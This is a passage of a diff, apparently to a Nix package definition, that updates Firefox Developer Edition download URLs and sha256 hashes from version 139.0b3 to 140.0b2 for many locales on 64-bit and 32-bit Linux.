       arch = "linux-x86_64";
-      sha256 = "c0ebd1339d95eff201d85bf549f38ca93907021853a2841dbb48bb7587f84890";
+      sha256 = "be4ff7df882a6bbbb82426868abd07b3bc31328b72faab12c50f44910a04157b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/trs/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/trs/firefox-140.0b2.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "fbdd2bf864b5d2cbb0b633b733c70c71457c04cb405b0aa14c4dc83a5380f4e1";
+      sha256 = "b59cd940914a1dc6034648cb4d2eb98a27db282a63f549670112c005a4fc2c22";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/uk/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/uk/firefox-140.0b2.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "9f2af01f2187bc3dece162cd493ffa46bbb7b4af25aed176f81bc1bf99ab8f3e";
+      sha256 = "cd723b22c8bf8d857e68ba7b7101a42451fd4e0e9216898165194dba6f66600c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ur/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ur/firefox-140.0b2.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "4d3e57b37ea0d9f498701e768e6a1d3ebed495c83715df9b0623845b9ebf4464";
+      sha256 = "23307a580138e4f1e8de9de441c1dfa274b871daa68274510683ce02d1bc4554";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/uz/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/uz/firefox-140.0b2.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "c9419b604b2a6e91cdf9f3c7fcc1a7213eeba095a7ca4950138d4757326a5337";
+      sha256 = "75554e0cb06a1244106e2cab513286d0a48c4b5c5c2645b373e20245d8163d5d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/vi/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/vi/firefox-140.0b2.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "436b6789d5c91955affae937528b38532c09b96f80cca4ff893b593c10720138";
+      sha256 = "a502e8408f00db0089081072b813debb97bc5c60e31c632b460cdc3d1f9f3d71";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/xh/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/xh/firefox-140.0b2.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "ad35a67010effc02db685ab1b05a534e8454a3d7d8d9eac2abb20ea3494440bb";
+      sha256 = "a87cb0aff09dfd91acac6931f5f8ff1bd000533448f8e79950dee7baa29f072b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/zh-CN/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/zh-CN/firefox-140.0b2.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "25efcfc912e9e20d7479ec869afb471d4a4be279500e06f2609bfb5df9d65e21";
+      sha256 = "7616247e8ee73956d925b4a4d4b3ba1b269db286390250ff04ffd066c37e6323";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/zh-TW/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/zh-TW/firefox-140.0b2.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "a694e1461292c471cbf263f1fca962b27e5bc1dcc655cd9c0f22b6ec868b0196";
+      sha256 = "1070fc52e45b0827958fc4ebe74f4fd4643738a1d20a9647b37620066cf18896";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ach/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ach/firefox-140.0b2.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "8acea013f0230e45e5dfe7cb2d1495fc31fe8f62e3f0c71021faaeed56f88d90";
+      sha256 = "15dd9a2a6103f8b4e11d558aa1b5def0119929f304fe330f14fec35452ba88fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/af/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/af/firefox-140.0b2.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "e9cd59e8ecb6f05aa3f71fbdc898e38f5fe16e7366283a899dc918639bbfabe2";
+      sha256 = "076016952832f1f9923426ccabc14fdce0016572134be4413c323f04929d2b7a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/an/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/an/firefox-140.0b2.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "06f077e94b604c14d4b23b5c7ca90988a91fd77b4923762880a8ecf6d0d96549";
+      sha256 = "55e43ac6458d7be27db5aeeef0a4e25732555645faba647f379140b5b18f1cca";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ar/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ar/firefox-140.0b2.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "d766a8ce6766609052f059d44b324cf67e872eea704095190a00099b472d1312";
+      sha256 = "1640b262104f1f637240480cb5d7727aadc003ce320f444fa7446b2345239a8b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ast/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ast/firefox-140.0b2.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "2b4f5ea265d192b4ff27e24ccc60a1b2e70b5e19f5957ab482c6b0d36a4182eb";
+      sha256 = "726dad49420e6f8f6f48b00df01419fa1e25022e1a9034c917732f591d899ab5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/az/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/az/firefox-140.0b2.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "1659ad578e6b9768e3a2bd2dd2ccffcf1b8d8060c08bb2dd9f45a5a8b35ce6fc";
+      sha256 = "32f38f9452d6bfe9ed0059402286ba86b8e7d49767b84ef68a807009b3928a71";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/be/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/be/firefox-140.0b2.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "7959c9e95a1858961a2322ea9ff572c53d08c5f1e855d5115cf68343f1dfce63";
+      sha256 = "d205be69a64a92dd2dd4938cbe3804e41f9370bd572b0e6bde337feaacc7c80a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/bg/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/bg/firefox-140.0b2.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "74d7142554e8621b5662d322c5d1eb63a6bb4422365d037212813fc2b1ca17c4";
+      sha256 = "a6a8a3d4b40853a7bcbcae6c142896b69632720d1cd8ff0ef38944dee718110d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/bn/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/bn/firefox-140.0b2.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "5d40f8cdadf7510337271c98350a14b002462dbb58fd89c7f5a5e898d4d96522";
+      sha256 = "b1ee7cd72876760977922e48ac38cbf55f45bdd191015fd98b72b9169f88c905";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/br/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/br/firefox-140.0b2.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "98606dd41a554c6642b07c7012c8fc0e831cae305c77b17018abd7cf1f835126";
+      sha256 = "df82db0effa2010c5c90fb0795ba63cd8985716d68649d97e15408dc37c6c84e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/bs/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/bs/firefox-140.0b2.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "319901c06f9ae63714f5e50def341f7af82446d657a4792f6aa0dacefa6c5aa5";
+      sha256 = "87c0752bd5b5a9c2b87c6e538621c2626b4464bd585f906e305e4c5715f97c86";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ca-valencia/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ca-valencia/firefox-140.0b2.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "bdbee33f7f53270a075e45854b42f5879eb081875310285ad4b99dfc2494c766";
+      sha256 = "632893b5ad32cc730ade803beef2b413b4df144ea80f233e2b24574092a8036c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ca/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ca/firefox-140.0b2.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "9b8af77f7db2bd74065f7b56823ea68db58822db1d55e1a9c98d4654d5178e42";
+      sha256 = "000cfb032ec853d10c5130b04e88da02998fd57bf70a07844390cbff55f9885f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/cak/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/cak/firefox-140.0b2.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "649a2617e215d8f3610de863ddfc29dc0c2b27fb7d642c1e0c9f2c6aa365ecbc";
+      sha256 = "009ba5baaa7d454aa9dcfde0b2b4e6940590b6fd6ad7d5a90003ebaf450a93f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/cs/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/cs/firefox-140.0b2.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "8e8c2e892caa8bc5db5804f42332ad57d1264eda034feb467d6d75827c3a7cd7";
+      sha256 = "67ebd37c779ce36133ccac10894ced3faf9d1131a6d0a71a9f35d73bf4bbae36";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/cy/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/cy/firefox-140.0b2.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "394bb39242b8631d46d42586611e91b54028fea43d78248af3bb446e6c6834e6";
+      sha256 = "baad091e481f7e3c3e7affc3261a22a5a390e3cb739875af53b4fd09f8995ec6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/da/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/da/firefox-140.0b2.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "b42f902cab834a1a177afec0812b118280f3733adba9433d31098df63d184d83";
+      sha256 = "62315dee7ee9cbe3eef1b01359ccfd45ef7348d526fb6adf35077c74178dbacd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/de/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/de/firefox-140.0b2.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "420f1853b37b823edbccdb02e19669d5caca76b2ba3f607a81d11b5654f04c1e";
+      sha256 = "c32d7e2e8f07db2c92c876f835d506568d5aa5df587742aac5b5b38b1d741224";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/dsb/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/dsb/firefox-140.0b2.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "5987303e490b524c31619d18cdbcedff7f24d70a1652bb9bba15120d34befed6";
+      sha256 = "9bfbe5c14cc47de7c04d89fc8d753e8cb07e0722b01e694e40769578ab41f80c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/el/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/el/firefox-140.0b2.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "4001d4bce1fff3dba641b7c38c2b26338e40ba28ddad8554c4f7dbbebf1536d6";
+      sha256 = "b847df7a731151defb9a7195e52e5170f914df02f125474c44e3aa63c676c34a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/en-CA/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/en-CA/firefox-140.0b2.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "35707a5d0e7df572c341da8d4ccb76f560267feeb8df785eec304e6c920da3f8";
+      sha256 = "7812b2ddeda5bc1ed121e8512ba2d019edf1596a0ebd5d1a8349613e1745d685";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/en-GB/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/en-GB/firefox-140.0b2.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "02b5a1f051e02b949e7c8df2d4196e6e45cc02a0ae0178f8500c99b67737042d";
+      sha256 = "5b7e6a78a8d98b36cf640282e2aec5b34d9d54dc1c244d45e043de18be59ede4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/en-US/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/en-US/firefox-140.0b2.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "ddf19c5fd706f7d20060d009e26e5f98d15707d7ce1130a3e5209a80237c4d45";
+      sha256 = "60ca80fc4bdfbabe6810ba4ffb1b49eb02147fb05134a3c3eb19cbb2d7ef5ff3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/eo/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/eo/firefox-140.0b2.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "75a9e8c3f3f1a11b22be4501fcc6743f6d7233591df6f1f3eee8243fea27e6a6";
+      sha256 = "61947e8887d2f0010de1b1cdd1df5ece9dcf4f9abaa17c76deb48b47a14ef79b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/es-AR/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/es-AR/firefox-140.0b2.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "5a66e9d13ae53b0e163630f1b9a20c4b68f4e7cdbf88c2d2ca702fcf9846d064";
+      sha256 = "8c0c291f1150c6cc45180dce4d94540c947791aaee2172e2f37b57b002aa1784";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/es-CL/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/es-CL/firefox-140.0b2.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "79dd1dcc771346f0aadab81fdfcbc6fe1d532001ae17793447b423b1a85a4aae";
+      sha256 = "aa1444a6092cb96637ef7dc9c44506702cb96eaf633a39302673d040f0b2a9ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/es-ES/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/es-ES/firefox-140.0b2.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "90054b5ee7292a1df8f0e7688b35fedcb19f2a8945f0bfb440c44913bd123c4e";
+      sha256 = "0442ff731adeae06a0ea178098ef17c1d0aca3f34ab854a7807c56d2b1ace7d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/es-MX/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/es-MX/firefox-140.0b2.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "f18593686f6a02b0bfb66b364b93fbf1f868365eb96e8152ce1500d6c739b457";
+      sha256 = "b260521cef1779ccd7d6b1cbfe66ac2d5cd8ee72f282b6e81110ea40995e9b30";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/et/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/et/firefox-140.0b2.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "b6f65d28916d962223af04027a1b5550ef7e6326924f83115a7b86791220bf2c";
+      sha256 = "f7b752e18302aeab61df546a0423fbdc297d538c35b2038e6e9dd3f0432d55fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/eu/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/eu/firefox-140.0b2.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "410f33a12c705d8ff753b4cbb11942df9aaca3777774e7cb2db5277b7791de1f";
+      sha256 = "e0d403ce1c3fb69e692c0679c7ed65464bd28cdfcb107756bcf66b03bb20f15a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/fa/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/fa/firefox-140.0b2.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "67728e0982b672da05cf00b46a12e18539a0ce2c3cfbc3f91e0c5b62b6d01408";
+      sha256 = "75eefefa501b4e46f84672aacd3d8e5c96f4bbee41dd652436624de5bbd837e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ff/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ff/firefox-140.0b2.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "ea729dd3c19b979d00c25b6dfdd2f2d633055a9ca389ad5cde5b5154886d25d3";
+      sha256 = "197ccaeb27559a1dd913969a3a8dd011555c8125fcbb55a28caf4a6074b963b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/fi/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/fi/firefox-140.0b2.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "40b78a9e4cea933865f06a41c8a32d276a59bae2488601afa6d6e936669eef4e";
+      sha256 = "61ac2a275d6410f7eb8cc4f9bfd70e1e5e56fd63eaac9447a56f15920221be7e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/fr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/fr/firefox-140.0b2.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "5828e6b8ebc7b7508f363f9309554b544205479c22b9632e230340774c46e442";
+      sha256 = "9322f072928c09b3d45e9e683ef26480f404def390315f46eaad3aa76c5db4a5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/fur/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/fur/firefox-140.0b2.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "bae0801fdbab156db54f0562f246a59eb5f8c24c79ba17fe2b6c98fc9ed91c58";
+      sha256 = "4ca712790eb5a98804b6b21e68cf1d875f9dccd5bd729a7f1231cd3d7b4c85a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/fy-NL/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/fy-NL/firefox-140.0b2.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "0e21ed14bcfc78650f62cffa63d1d9f1a8f21b64b0d258b0e15e346b6f497f93";
+      sha256 = "3ca2c4a2ef1de935d5a3ec0f29314596ef64611fb9025efbee2e809b8bf51da2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ga-IE/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ga-IE/firefox-140.0b2.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "a873d3ce455f8f8c82901d9e2b6795e59515263380443801b2e0c9fd050f03b9";
+      sha256 = "2e43d6679a844f9241110f67a785525b09124f004d697b41400686851a45811a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/gd/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/gd/firefox-140.0b2.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "13d114359f5c30759febb7bfffe79286f3261477a160a35faa3d5d2e1e236271";
+      sha256 = "a51f8e4c872a39f307bbd8c71e56a3f90d84163feed7ca79067ab0f51f7eef11";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/gl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/gl/firefox-140.0b2.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "57c6b29e1b05a4e75224085c7a8f13a3948930e92204f882092cc71efc7d4071";
+      sha256 = "24fdfac7aa372ea38d4ce642b5e30cdd49c46428e5431b004f368c40d52a450e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/gn/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/gn/firefox-140.0b2.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "6a197a8c1b138f1eb95f85770e4734fcb400679fe18c0241352dc9d0d025dc5e";
+      sha256 = "9f81e0d531c7a9826889328afcd0e8e8c29cf00b253b0b6ef420fb798ea3d2de";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/gu-IN/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/gu-IN/firefox-140.0b2.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "53bb01d3b87a5a463b993e69ea9472b9b7dce818ffd41a3efc74b0def2880c10";
+      sha256 = "72ca1ecac233a4e8d51a70edc8d39d6bcbf036827e868b14c9d166c70a7140f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/he/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/he/firefox-140.0b2.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "d2f51a83e9f625df054c75b6212c95a2ee98a6ac6912fb37f6dcce151f0d8cc5";
+      sha256 = "2cbffa2df9acd1b30b7e96b14e9dd7d9cc9658779fc24d87cf89f5a5989770df";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/hi-IN/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/hi-IN/firefox-140.0b2.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "72b1cb85cf3c3774befbafbec03aa95084356b955b6c86acdc2d12fad9a05d57";
+      sha256 = "301469bd1372c6153612dda25c686461d55d5140e65a8f4048d9159b7fba67d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/hr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/hr/firefox-140.0b2.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "9d0b4cfa3f23f962e2784f9a17e8998d2a6ee1a3e54740317473e32c790fb1b4";
+      sha256 = "b00411fb0539a1de5a4d025fc938f6352cd38f2a3d586d7c5023cea8d3fc976f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/hsb/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/hsb/firefox-140.0b2.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "6ad41bdaeaa4bba9360ea98787f0c84760f849570452425508f3dbb0472e7349";
+      sha256 = "0e9daab014b58ca0b5b065ceb8429b576765ddf692886c0b2709f9cecda54373";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/hu/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/hu/firefox-140.0b2.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "583782cc9ee0da5f8ff488643ea6a1573979653130bb6120affc1a7ba57d10c4";
+      sha256 = "d1ebe95c9ca85f7ad097a42f01728f7ca4b67e0b0325993cd7a8788bfaacf186";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/hy-AM/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/hy-AM/firefox-140.0b2.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "bab8bcfd4374d076023b6e1fccf797fb3d83f26d0fa8df75a0d3c5f69879c5c3";
+      sha256 = "84d00b6cf98ff0a2ffc08ead1b7dc61e74f689d69a946f2ab8c0c7ce96299f3a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ia/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ia/firefox-140.0b2.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "2bd01c27ac6e282be53d72b7993fe9b35847ef5639104924a5d45fc20a42e56e";
+      sha256 = "54fff386745c615db563a7e1344ad4c0dfedbfe9ff1b69311fb96106130eda46";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/id/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/id/firefox-140.0b2.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "d110ba5a2d529cc020a476fcaa8781c35f1071224b33814983b83722fcad0078";
+      sha256 = "d52a44a22505daf7236e289b1653b991d640c2b2be5a9ac4effe0a819e9ef063";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/is/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/is/firefox-140.0b2.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "1bb68a757bb2c9ec9c87522d91733fe55cf5aab0ccfec58cbee67c3a3764df85";
+      sha256 = "f01b7bc84a711c72491dffe4be999cff939ba3fd433572f693d9e3a0a97d2a6a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/it/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/it/firefox-140.0b2.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "6eeaaa32990d457aaaf37804f54e39fee7fbcf90e024797461c76b7b1522bb84";
+      sha256 = "b885a44f52597ece4a719245709263626fefdc94702162523d0c6392e95a9817";
     }
     {
